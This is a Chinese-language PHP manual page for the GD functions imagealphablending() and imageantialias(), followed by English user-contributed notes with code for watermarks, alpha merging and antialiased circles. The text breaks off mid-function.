imagealphablending() 允许在真彩色图像上使用两种不同的绘画模式。在混色（blending）模式下，alpha 通道色彩成分提供给所有的绘画函数，例如 imagesetpixel() 决定底层的颜色应在何种程度上被允许照射透过。作为结果，GD 自动将该点现有的颜色和画笔颜色混合，并将结果储存在图像中。结果的像素是不透明的。在非混色模式下，画笔颜色连同其 alpha 通道信息一起被拷贝，替换掉目标像素。混色模式在画调色板图像时不可用。如果 blendmode 为 true，则启用混色模式，否则关闭。成功时返回 true， 或者在失败时返回 false。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

enable

是否启用混合模式。在真彩色图像上，默认值为 true，否则默认值为 false

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagealphablending() 用法示例

<?php
// Create image
$im = imagecreatetruecolor(100, 100);

// Set alphablending to on
imagealphablending($im, true);

// Draw a square
imagefilledrectangle($im, 30, 30, 70, 70, imagecolorallocate($im, 255, 0, 0));

// Output
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

User Contributed Notes

klaproth at creative-mindworks dot de 18-May-2008 10:57
I have written a function that takes an image as parameter and returns the same image with a reflection effect (often seen in WEB 2.0 sites). I have not performance-tested this with large image files, for thumbnails it works fine (requires PHP 4.3.2 or above, or PHP5).

<?php
function imagereflection($src_img) {
  $src_height = imagesy($src_img);
  $src_width = imagesx($src_img);
  $dest_height = $src_height + ($src_height / 2);
  $dest_width = $src_width;

  $reflected = imagecreatetruecolor($dest_width, $dest_height);
  imagealphablending($reflected, false);
  imagesavealpha($reflected, true);

  imagecopy($reflected, $src_img, 0, 0, 0, 0, $src_width, $src_height);
  $reflection_height = $src_height / 2;
  $alpha_step = 80 / $reflection_height;
  for ($y = 1; $y <= $reflection_height; $y++) {
    for ($x = 0; $x < $dest_width; $x++) {
      // copy pixel from x / $src_height - y to x / $src_height + y
      $rgba = imagecolorat($src_img, $x, $src_height - $y);
      $alpha = ($rgba & 0x7F000000) >> 24;
      $alpha =  max($alpha, 47 + ($y * $alpha_step));
      $rgba = imagecolorsforindex($src_img, $rgba);
      $rgba = imagecolorallocatealpha($reflected, $rgba['red'], $rgba['green'], $rgba['blue'], $alpha);
      imagesetpixel($reflected, $x, $src_height + $y - 1, $rgba);
    }
  }

  return $reflected;
}
?>

This is rather hot-coded. You could go on and extract some of the values as parameters (80 is the transparency start value, $height / 2 is the reflection area...).

Cheers,
Christian
jeppe dot dyrby at gmail dot com 14-Aug-2007 07:34
I have create a little function for putting a watermark on any picture.
Watermark can be png, with transparency, and the watermark can be placed anywhere on the image, using simple strings such as 'bottom-left', or 'center'.

<?
function imagelogo (&$dst_image, $src_image, $dst_w, $dst_h, $src_w, $src_h, $position='bottom-left') {
    imagealphablending($dst_image,true);
    imagealphablending($src_image,true);
    if ($position == 'random') {
        $position = rand(1,8);
    }
    switch ($position) {
        case 'top-right':
        case 'right-top':
        case 1:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), 0, 0, 0, $src_w, $src_h);
        break;
        case 'top-left':
        case 'left-top':
        case 2:
            imagecopy($dst_image, $src_image, 0, 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom-right':
        case 'right-bottom':
        case 3:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'bottom-left':
        case 'left-bottom':
        case 4:
            imagecopy($dst_image, $src_image, 0 , ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'center':
        case 5:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'top':
        case 6:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom':
        case 7:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'left':
        case 8:
            imagecopy($dst_image, $src_image, 0, (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'right':
        case 9:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
    }
}

// example:

imagelogo($image, $watermark, imagesx($image), imagesy($image), imagesx($watermark), imagesy($watermark), 'random');
?>
JAYPEEsorenATgeeMail 14-Dec-2006 01:52
I rewrote the code given below to skip calculations and pixel setting when not needed (full opaque or full transparent pixels), as the content of my overlays is generally mostly transparent. Reduced processing time from ~0.17s to ~0.06s on 216x145px images.

function alphaOverlay($destImg, $overlayImg, $imgW, $imgH)
{
    for($y=0;$y<$imgH;$y++)
    {
        for($x=0;$x<$imgW;$x++)
        {
            $ovrARGB = imagecolorat($overlayImg, $x, $y);
            $ovrA = ($ovrARGB >> 24) << 1;
            $ovrR = $ovrARGB >> 16 & 0xFF;
            $ovrG = $ovrARGB >> 8 & 0xFF;
            $ovrB = $ovrARGB & 0xFF;

            $change = false;
            if($ovrA == 0)
            {
                $dstR = $ovrR;
                $dstG = $ovrG;
                $dstB = $ovrB;
                $change = true;
            }
            elseif($ovrA < 254)
            {
                $dstARGB = imagecolorat($destImg, $x, $y);
                $dstR = $dstARGB >> 16 & 0xFF;
                $dstG = $dstARGB >> 8 & 0xFF;
                $dstB = $dstARGB & 0xFF;

                $dstR = (($ovrR * (0xFF-$ovrA)) >> 8) + (($dstR * $ovrA) >> 8);
                $dstG = (($ovrG * (0xFF-$ovrA)) >> 8) + (($dstG * $ovrA) >> 8);
                $dstB = (($ovrB * (0xFF-$ovrA)) >> 8) + (($dstB * $ovrA) >> 8);
                $change = true;
            }
            if($change)
            {
                $dstRGB = imagecolorallocatealpha($destImg, $dstR, $dstG, $dstB, 0);
                imagesetpixel($destImg, $x, $y, $dstRGB);
            }

        }
    }
    return $destImg;
}
roONLYycoLOWERCAneSEjo at gmail dot com 21-Nov-2006 10:35
Roy Conejo says:

I' had to "per-pixel alpha blend" an image into a solid background, as seen on the very concise example from "barnabas at kendall dot NOSPAM dot net": an alpha blended .png logo on a .jpg photograph. The problem was... it doesn't worked out at all here (why? T_T).

Note that I'm using just the source alpha to determine how much colour from source and destination will be present on the final pixel... and that I've to multiply the alpha value (0 - 127) by 2 because I need it to be 8 bits for the calculations.

I think the code is pretty fast, no decimals, no rounding, no unnecesary coding. Bound checking or clipping could be implemented if you really need to.

I hope it helps someone on my same situation ^.^

<?php

    ## BEGIN of function alpha_blending -------------------------------------------
    function
    alpha_blending ($dest, $source, $dest_x, $dest_y) {

        ## lets blend source pixels with source alpha into destination =)
        for ($y = 0; $y < imagesy($source); $y++) {
            for ($x = 0; $x < imagesx($source); $x++) {

                $argb_s = imagecolorat ($source    ,$x            ,$y);
                $argb_d = imagecolorat ($dest    ,$x+$dest_x    ,$y+$dest_y);

                $a_s    = ($argb_s >> 24) << 1; ## 7 to 8 bits.
                $r_s    =  $argb_s >> 16     & 0xFF;
                $g_s    =  $argb_s >>  8    & 0xFF;
                $b_s    =  $argb_s            & 0xFF;

                $r_d    =  $argb_d >> 16    & 0xFF;
                $g_d    =  $argb_d >>  8    & 0xFF;
                $b_d    =  $argb_d            & 0xFF;

                ## source pixel 100% opaque (alpha == 0)
                if ($a_s == 0) {
                    $r_d = $r_s; $g_d = $g_s; $b_d = $b_s;
                }
                ## source pixel 100% transparent (alpha == 255)
                else if ($a_s > 253) {
                ## using source alpha only, we have to mix (100-"some") percent
                ## of source with "some" percent of destination.
                } else {
                    $r_d = (($r_s * (0xFF-$a_s)) >> 8) + (($r_d * $a_s) >> 8);
                    $g_d = (($g_s * (0xFF-$a_s)) >> 8) + (($g_d * $a_s) >> 8);
                    $b_d = (($b_s * (0xFF-$a_s)) >> 8) + (($b_d * $a_s) >> 8);
                }

                $rgb_d = imagecolorallocatealpha ($dest, $r_d, $g_d, $b_d, 0);
                imagesetpixel ($dest, $x, $y, $rgb_d);
            }
        }
    }
    ## END of function alpha_blending -------------------------------------------

    ## let's start loading images as usual...
    $source = imagecreatefrompng ('logo.png');
    $dest    = imagecreatefromjpg ('photo.jpg');

    ## alpha blend $source into $dest starting at 10, 5.
    alpha_blending ($dest, $source, 10, 5);

    ## here you'll have to save "$dest" or send it to the browser...
    ##

    imagedestroy ($source);
    imagedestroy ($dest);

?>

eof =p
Raisul Kabir Ruman 01-Sep-2006 05:45
In the previous message, I found it is working perfect. But, it can be done a lot easily, as is described by the first message by "barnabas at kendall dot NOSPAM dot net". Though, it don't work totally, instead of using imageAlphaBlending, you have to use imageSaveAlpha

So, I found the corrected and smalled code would be

<?php
$im_a = @imagecreatefrompng("a.png");
$im_c = @imagecreatefrompng("c.png");
imageSaveAlpha($im_c, true);

imagecopy($im_c,$im_a,0,0,0,0,200,200);
header("Content-type: image/png");
imagepng($im_c);
?>
luke dot stanley at gmail dot com 21-Aug-2006 01:30
"If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:"

dscharrer at gmail dot com offered this without a use example, so here is one:

<?

$flag = imagecreatefrompng('a.png');
$mask = imagecreatefrompng('b.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);
$i= array($flag, $mask); // here is the array of images, using the above specified $flag and $mask images

$s = imagemergealpha($i);

header("Content-type: image/png");
imagepng($s);

//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}

?>
Jakub Argasi?ski 05-Jun-2005 11:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza???? g??l? ja??!\nZA??? G?L? JA???";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com 17-Feb-2005 01:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com 23-Dec-2004 02:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
    $ta = imagecolorat($d[1],$x,$y);
    $ta = imagecolorsforindex($d[1],$ta);
    $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net 01-Mar-2004 05:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com 17-Nov-2003 03:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net 30-Jun-2003 02:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com 13-Feb-2002 07:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net 11-Oct-2001 05:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>


是否使用抗锯齿（antialias）功能

  • ? imagealphablending
  • imagearc ?
  • PHP Manual
  • GD 和图像处理 函数
  • 是否使用抗锯齿（antialias）功能

imageantialias

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageantialias — 是否使用抗锯齿（antialias）功能

说明

imageantialias(GdImage $image, bool $enable): bool

对线段和多边形启用快速画图抗锯齿方法。不支持 alpha 部分。使用直接混色操作。仅用于真彩色图像。

不支持线宽和风格。

使用抗锯齿和透明背景色可能出现未预期的结果。混色方法把背景色当成任何其它颜色使用。缺乏 alpha 部分的支持导致不允许基于 alpha 抗锯齿方法。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

enable

是否启用抗锯齿。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
7.2.0 | imageantialias() 现在普遍可用。以前只有编译 PHP 时使用捆绑版本的 GD 库才可用。

示例

Example #1 比较两条线，一条开启了抗锯齿

<?php
// Setup an anti-aliased image and a normal image
$aa = imagecreatetruecolor(400, 100);
$normal = imagecreatetruecolor(200, 100);

// Switch antialiasing on for one image
imageantialias($aa, true);

// Allocate colors
$red = imagecolorallocate($normal, 255, 0, 0);
$red_aa = imagecolorallocate($aa, 255, 0, 0);

// Draw two lines, one with AA enabled
imageline($normal, 0, 0, 200, 100, $red);
imageline($aa, 0, 0, 200, 100, $red_aa);

// Merge the two images side by side for output (AA: left, Normal: Right)
imagecopymerge($aa, $normal, 200, 0, 0, 0, 200, 100, 100);

// Output image
header('Content-type: image/png');

imagepng($aa);
imagedestroy($aa);
imagedestroy($normal);
?>

以上示例的输出类似于：

参见

  • imagecreatetruecolor() - 新建真彩色图像

User Contributed Notes

verdy_p at wanadoo dot fr 04-Jan-2010 01:27
There's a minor edit bug in those lines in the fast algorithm ("20 times faster"):

            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );

the reference to "$ix" in the parameters of each call (just before the ", $fill " parameter) should be sometimes "$iy".

This algorithm uses the Bresenham midpoint algorithm for circles, but computing successive pixels positions ($ix, $iy) incrementally in the first octant, relative to the circle center ($cx, $cy), then applying the 8 symetries by swapping them or changing signs.

A similar algorithm exists for ellipses: it uses quadrants symetries instead of octants when the ellipse focal axis is aligned or orthogonal to the two image axis, be subdividing each quadrant in two regions (deminited by the point on the arc where the tangent has a unitary slope).

For general ellipses (rotated arbitrarily in the plane), there are also 4 quadrants symetries, but they are a bit more complex to compute, as you need to compute the rotations, for this reason you'll only be able to use 2 symetries, but the incremental algorithm still exists: you may think that this would be based on the evaluation of the sum of lengths from the two focal points, which is contant; however the sum of two distance cannot be squared so easily (you would need to compute the square of both distances, then take their respective square root before adding them and testing the difference with the exact length. A cleaner solution uses NURBS (Non-Uniform Rational B-splines) because they are numerically stable and still very fast to compute (you only need some floatting point for the knot constants that separate each quadrant, which is then computed using a simple quadratic parametric equation of the ellipse instead of the implicit equation, given that the quadratic (polynomial) equation has first and scond derivatives that are easy to bound in order to get the needed precision and reduce the number of unnecessary pixel plots : such the parametric eqaution will draw points along the arc with a movement speed varying between 1 and 4 subpixel distance per incremental step, but in fact only between 1 and 2 subpixels when you subdivide the quadrant in two regions).

Alternatively, you may also draw an antialised "straight" ellipse with a double resolution, and then rotate the antiliased image while also rescale it at half size, and at the same time combining it to the target: depending on implementations (and computing language used), it may be faster (but it may require more memory for the intermediate image at scale 2)...
dsl101 31-Jul-2009 08:48
Having tried long and hard to get a decent antialiased circle function, I finally gave in a wrote something from scratch. Its very very naive - basically examining every single pixel in the enclosing square, but as a result produces very nice antialiasing, with decent control over stroke width, antialiasing amount and tightness of antialiasing. I'm sure it could be optimised considerably, but it was fast enough for what I was doing. Hope its of some use.

<?php

function imagecircleaa($img, $cx, $cy, $r, $w, $s, $t, $color) // image, centerX, centerY, radius, stroke width, aa width, tightness, color
{
    $adj = $w + $s;
    $sCol = imagecolorallocate($img, $color['r'], $color['g'], $color['b']);
    for($x = -$r - $adj; $x <= $r + $adj; $x++)
    {
        for($y = -$r - $adj; $y <= $r + $adj; $y++)
        {
            $d = sqrt($x * $x + $y * $y); // distance from pixel to center
            $err = abs($d - $r); // absolute distance from pixel to circle edge
            if($err <= $w / 2 + $s) // within the stroke width + smoothing radius
            {
                if($err <= $w / 2) // inside the stroke width so make it solid color
                {
                    $aaCol = $sCol;
                }
                else // in the antialisaing region so make it a blended color
                {
                    $err -= $w / 2; // adjust to the aliased part
                    $err = 1 - $err / $s; // adjust to between 0 and 1
                    $err = ($err - 0.5) * $t * 2; // adjust to -$t to +$t for tightness
                    $err = ($err / sqrt(1 + $err * $err) + 1) / 2; // sigmoid curve to smooth edges
                    $rgb = imagecolorat($img, $x + $cx, $y + $cy); // Get current background color
                    $rB = ($rgb >> 16) & 0xFF;
                    $gB = ($rgb >> 8) & 0xFF;
                    $bB = $rgb & 0xFF;
                    $rDelta = ($rB - $color['r']); // change in Red from background
                    $rComp = $rB - $rDelta * $err; // mix Red
                    $gDelta = ($gB - $color['g']); // change in Red from background
                    $gComp = $gB - $gDelta * $err; // mix Red
                    $bDelta = ($bB - $color['b']); // change in Red from background
                    $bComp = $bB - $bDelta * $err; // mix Red
                    $aaCol = imagecolorallocate($img, $rComp, $gComp, $bComp);
                }
                imagesetpixel($img, $x + $cx, $y + $cy, $aaCol);
            }
        }
    }
}

$img = imagecreatetruecolor(500,500);

$cBlack = imagecolorallocate($img, 0, 0, 0);
$cGrey = imagecolorallocate($img, 120, 120, 120);
$cWhite = imagecolorallocate($img, 255, 255, 255);

imagefill($img, 0, 0, $cWhite);
imagepolygon($img, array(0, 0,200, 0, 200, 200, 0, 200), 4, cBlack);

$aWhite = array('r'=>255, 'g'=>255, 'b'=>255);
$aBlack = array('r'=>0, 'g'=>0, 'b'=>0);
$aRed = array('r'=>200, 'g'=>0, 'b'=>0);
$aGreen = array('r'=>0, 'g'=>200, 'b'=>0);
$aBlue = array('r'=>0, 'g'=>0, 'b'=>255);

// standard ellipse function for comparison
imageellipse($img, 100, 100, 50, 50, $cBlack);

// compare different tightnesses - good values are between 2 and 8
// note overall width is stroke width + 2 * aa width (e.g. 12 pixels below)
imagecircleaa($img, 50, 50, 25, 2, 5, 2, $aBlue);
imagecircleaa($img, 50, 150, 25, 2, 5, 8, $aBlue);

// different coloured background to show blending
imagefilledrectangle($img, 150,150, 200, 200, $cGrey);
imagecircleaa($img, 150, 150, 25, 3, 2, 2, $aRed);

// overlapping circles still aa nicely, although the colour blending algorithm produces quite dark intermediate shades
imagecircleaa($img, 150, 60, 25, 2, 3, 2, $aBlue);
imagecircleaa($img, 150, 50, 25, 2, 3, 2, $aGreen);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
padigan 06-Feb-2007 03:13
If you can't be bothered creating (or searching for) a full screen antialias function.
You can actually cheat (well a bit of a dirty inefficient hack really!!)
and perform a fake antialias on an image by using 'imagecopyresampled'...

first create your source image twice the size of what you really want.

Then use 'imagecopyresampled' to shrink it to half the size, the function
automatically interpolates pixels to create an antialias effect!

I've used this in a pie chart function and it works brilliantly,
not as slow as I thought it might be!

the rough code below should give you the idea...

<?php
$realWidth = 500;
$realHeight = 500;
$srcWidth = $realWidth * 2;
$srcHeight = $realHeight * 2;

// create the larger source image
$srcImage = imagecreatetruecolor($srcWidth,$srcHeight);

// create the real/final image
$destImage = imagecreatetruecolor($realWidth,$realHeight);

// now do whatever you want to draw in the source image
// blah....

// now the picture is finished, do the shrink...
imagecopyresampled($destImage,$srcImage,0,0,0,0,
$realWidth,$realHeight,$srcWidth,$srcHeight);

// now just do whatever you want with '$destImage' (e.g. display or output to file!)
?>
n-dream at gmx dot ch 18-Feb-2006 10:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
    $w=$w/2;
    $h=$h/2;
    $jump=2*M_PI/$segments;
    $oldx=$x+sin(-$jump)*$w;
    $oldy=$y+cos(-$jump)*$h;
    for($i=0;$i<2*(M_PI);$i+=$jump)
    {
        $newx=$x+sin($i)*$w;
        $newy=$y+cos($i)*$h;
        ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
        $oldx=$newx;
        $oldy=$newy;
    }
}
klaas at kosmokrator dot com 15-Feb-2006 05:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

    function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
        $ir = $cr;
        $ix = 0;
        $iy = $ir;
        $ig = 2 * $ir - 3;
        $idgr = -6;
        $idgd = 4 * $ir - 10;
        $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
        imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
        imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
        imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
        imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
        $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
        imageSetPixel( $img, $cx + $cr, $cy, $draw );
        imageSetPixel( $img, $cx - $cr, $cy, $draw );
        imageSetPixel( $img, $cx, $cy + $cr, $draw );
        imageSetPixel( $img, $cx, $cy - $cr, $draw );
        while ( $ix <= $iy - 2 ) {
            if ( $ig < 0 ) {
                $ig += $idgd;
                $idgd -= 8;
                $iy--;
            } else {
                $ig += $idgr;
                $idgd -= 4;
            }
            $idgr -= 4;
            $ix++;
            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
            $filled = 0;
            for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
                for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                    if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
                }
            }
            $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
            imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
        }
    }

    $img = imageCreateTrueColor( 320, 240 );

    imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 170, 110,  75, array( 'R' => 0xDD, 'G' => 0x66, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 180, 100,  50, array( 'R' => 0xEE, 'G' => 0x99, 'B' => 0x00 ) );
    imageSmoothCircle( $img, 190,  90,  25, array( 'R' => 0xFF, 'G' => 0xCC, 'B' => 0x00 ) );

    header( 'Content-Type: image/png' );
    imagePNG( $img );

?>
voinic at NOSgmailPAM dot com 12-Jan-2006 02:22
The only trick I found to draw an antialiased polygon AND keep it transparent (to use them as overlays in google maps for example)... make two images and merge them. Order of operations is important and the transparency color of the final image must be set after the merge:

<?
header("Content-type: image/png");

$values = array(
           40,  50,  // Point 1 (x, y)
           20,  240, // Point 2 (x, y)
           60,  60,  // Point 3 (x, y)
           240, 20,  // Point 4 (x, y)
           50,  40,  // Point 5 (x, y)
           10,  10  // Point 6 (x, y)
           );

$im = imagecreate(250, 250);
$bg = imagecolorallocate($im, 255, 255, 255);

$im2 = imagecreatetruecolor(250, 250);
$bg2 = imagecolorallocate($im2, 255, 255, 255);
imagefilledrectangle($im2,0,0,249,249,$bg2);
imagecolortransparent($im2, $bg);
imageantialias($im2, true);
$c_red = imagecolorallocate($im2, 255, 0, 0);
imagepolygon($im2, $values, 6, $c_red);
imageantialias($im2, false);

imagecopymerge($im, $im2,0,0,0,0,250,250,50);

imagecolortransparent($im, $bg);
$c_red_alpha = imagecolorallocatealpha($im, 255, 0, 0, 60);
imagefilledpolygon($im, $values, 6, $c_red_alpha);

imagepng($im);
imagedestroy($im);
imagedestroy($im2);
?>
sebbi at conceptT dot com 26-Sep-2005 07:06
I did a search in google and got following url:
http://www.isocalc.com/tutorials/antialias.htm
With this tutorial I was able to write a function to convert this algorithm into php, the result for a filled circel is this:
<?php
function imagefilledcircleantialiased(&$im, $cx, $cy, $r, $fgcolor, $bgcolor) {
  $fgcolors = imagecolorsforindex($im,$fgcolor);
  $bgcolors = imagecolorsforindex($im,$bgcolor);
  for ( $x = $cx - $r; $x <= $cx + $r; $x++ ) {
    for ( $y = $cy - $r; $y <= $cy + $r; $y++ ) {
      $rx = $x - $cx; $ry = $y - $cy;
      $ir = sqrt(( $rx == 0 ? 0 : pow($rx - 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry - 0.5*abs($ry)/$ry, 2) ));
      $or = sqrt(( $rx == 0 ? 0 : pow($rx + 0.5*abs($rx)/$rx, 2) ) + ( $ry == 0 ? 0 : pow($ry + 0.5*abs($ry)/$ry, 2) ));
      if ( $or <= $r ) {
        imagesetpixel($im, $x, $y, $fgcolor);
      }
      elseif ( $ir < $r ) {
        $filled = 0;
        for ( $xx = $x - 0.45; $xx < $x + 0.5; $xx+=0.1 ) {
